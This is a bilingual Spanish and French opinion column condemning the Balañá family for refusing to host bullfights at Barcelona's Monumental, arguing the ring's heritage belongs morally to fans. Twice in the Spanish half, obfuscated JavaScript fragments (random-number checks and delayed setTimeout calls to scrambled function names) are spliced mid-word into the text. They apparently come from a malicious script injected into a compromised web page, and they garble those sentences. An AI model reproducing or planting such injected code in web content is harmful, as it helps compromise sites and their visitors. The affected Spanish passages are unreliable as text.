MUCHO MÁS QUE UN RECINTOBEAUCOUP PLUS QU’UNE ENCEINTE

A Balañá comienzan a lloverle las verdades como escupitajos caídos del cielo. Le llaman vendido, traidor, cobarde y le hacen último responsable de prohibir los toros en Barcelona. Tal vez, aun asumiendo el revuelo suscitado por su negativa a ceder la plaza Monumental para dar espectáculos taurinos, cosa para la que fue creada, saque de la chequera la soberbia y diga que la plaza es suya y hace con ella lo que le da la gana.

Con las escrituras de propiedad y demás documentación en regla, la Ley lo avala. Su casa es la legítima propietaria de la Monumental desde hace setenta años; desde que el tronco de la dinastía, don Pedro Balañá Espinós, se la comprara a su anterior propietaria Rosario Seguimon. A la muerte de don Pedro, pasó a su hijo Pedro Balañá Forts quien comparte la vinculación a la plaza con sus hijos Pedro y María José Balañá Mombrú. Eso es lo que hay y como decía el otro, “en mi casa mandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando yo”.

Sin embargo, se equivoca quien detenga su discurso en este punto. Que la familia Balañá es dueña de la Monumental no lo discute nadie, pero que tal propiedad pueda confundirse con la de los muebles de su dormitorio o de los libros de su biblioteca es algo que cabe poner en tela de juicio. ¿Por qué?... Muy sencillo. Porque mientras los muebles o los libros son de su exclusivo uso personal o familiar, su plaza de toros forma parte del patrimonio histórico de un colectivo –la afición barcelonesa y no barcelonesa– que también tiene sus cosas que decir. Cosas que se fueron construyendo a lo largo y ancho de las más de mil corridas de toros y más de novecientas novilladas organizadas en Barcelona por el viejo don Pedro –¡Ay si levantara la cabeza!–, a partir de las cuales se fue creandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando un sentimiento, una pasión, una forma de entender la vida, que, aunque hoy choque con una posmodernidad colonizada por la cultura anglosajona, no ha periclitado ni ha perdido vigencia ni verdad.

La Monumental no sólo es un inmueble, es mucho más que un recinto. Es un templo que durante casi cien años albergó sueños, pasiones y esperanzas y que fue referente de máxima categoría del planeta taurino. Posee un alma que es pública, por muy privados que sean sus muros y dependencias; un alma que tiene repartidas sus acciones por los sentimientos de decenas de miles de barceloneses, por millones de aficionados a los toros, que moralmente exigen una satisfacción. De ahí, que la decisión de no ceder la plaza a nadie para que dé toros, siendo legalmente factible, es moralmente deplorable y un abuso por parte de su propietario, ya que no le asiste derecho alguno a tomar la cobarde decisión de impedir que los toros vuelvan a Barcelona. Si no quiere asumir el riesgo que ello conlleva, que deje el camino libre a quien quiera intentarlo; pero ponerse de tapón para impedirlo es tomar partido por los censores de la Fiesta; es –ellos que tanto le deben al toreo– ponerse al lado de los enemigos. Y eso, en Andalucía y en Cataluña, en el Puente de Triana y en el Paralelo, se llama TRAICIÓN.

Pour Balañá les vérités commencent à pleuvoir comme des crachats venus du ciel. On l’appelle vendu, traître, couard, ils en font en définitive le coupable de l’interdiction de la corrida à Barcelone. Peut-être, qu’assumant les remous provoqués par son refus de céder la Monumental de Barcelone pour des spectacles taurins, chose pour laquelle elle a été créée, il se la joue en proclamant que les arènes lui appartiennent et qu’il en fait ce qu’il veut.

Avec les écritures de la propriété et autres documentations en règle, la loi le protège. Sa famille est le propriétaire légitime depuis soixante-dix ans, depuis que le pilier de la dynastie, don Pedro Balañá Espinós, l’avait achetée au propriétaire précédent, madame Rosario Seguimon. À la mort de Don Pedro, en a hérité son fils Pedro Balañá Forts qui la partage avec ses fils Pedro et María José Balañá Mombrú. Il en est ainsi et comme l’on dit couramment « c’est eux qui font leur cuisine chez eux ».

Par contre, on aurait tort d’en rester là. Que la famille Balañá en est le propriétaire personne ne le discute, mais que cette propriété puisse l’être aussi des meubles de la chambre à coucher ou des livres de sa bibliothèque peut être débattu. Pourquoi ? C’est très simple. Car alors que les meubles et les livres sont à l’usage d’une personne ou de la famille, ses arènes font partie du patrimoine historique d’un collectif –celle de l’aficion Barcelone et d’ailleurs- qui a aussi son mot à dire. Les choses se sont construites petit à petit tout au long des plus de mille corridas de toros et neuf-cent novilladas organisées à Barcelone par le vieux Don Pedro –Ah ! S’il voyait cela !- à partir desquelles en a découlé un sentiment, une passion, une façon de comprendre la vie, qui, même si aujourd’hui elle choque avec une postmodernité colonisatrice anglo-saxonne, n’a point périclité ni perdu de sa vigueur ni de son authenticité.

La Monumental n’est pas seulement un immeuble, c’est beaucoup plus qu’une enceinte. C’est un temple qui pendant près de cent ans a abrité des rêves, des passions et des espoirs, et qui fut une référence sur toute la planète taurine. Elle possède une âme qui est publique, même si ses murs et ses dépendances soient privés ; une âme qui a partagé ses actions avec la sensibilité de dizaines de milliers d’habitants de Barcelone, de millions d’aficionados à la corrida, qui moralement exigent une satisfaction. De là, que la décision de ne plus céder à personne les arènes pour y faire des corridas, étant tout à fait légale, est moralement déplorable et un abus de la part du propriétaire, il n’y a pas de raison valable pour empêcher que les corridas reviennent à Barcelone. S’il ne veut pas assumer le risque que cela implique, il est libre de laisser le faire à quelqu’un d’autre ; mais se mettre au milieu pour l’empêcher c’est être du côté du côté des censeurs de la Fiesta, c’est –eux qui doivent tant à la tauromachie- se rallier aux ennemis. Et on appelle ça, aussi bien en Andalousie qu’en Catalogne, au Puente de Triana ou au Paralelo, une TRAHISON.

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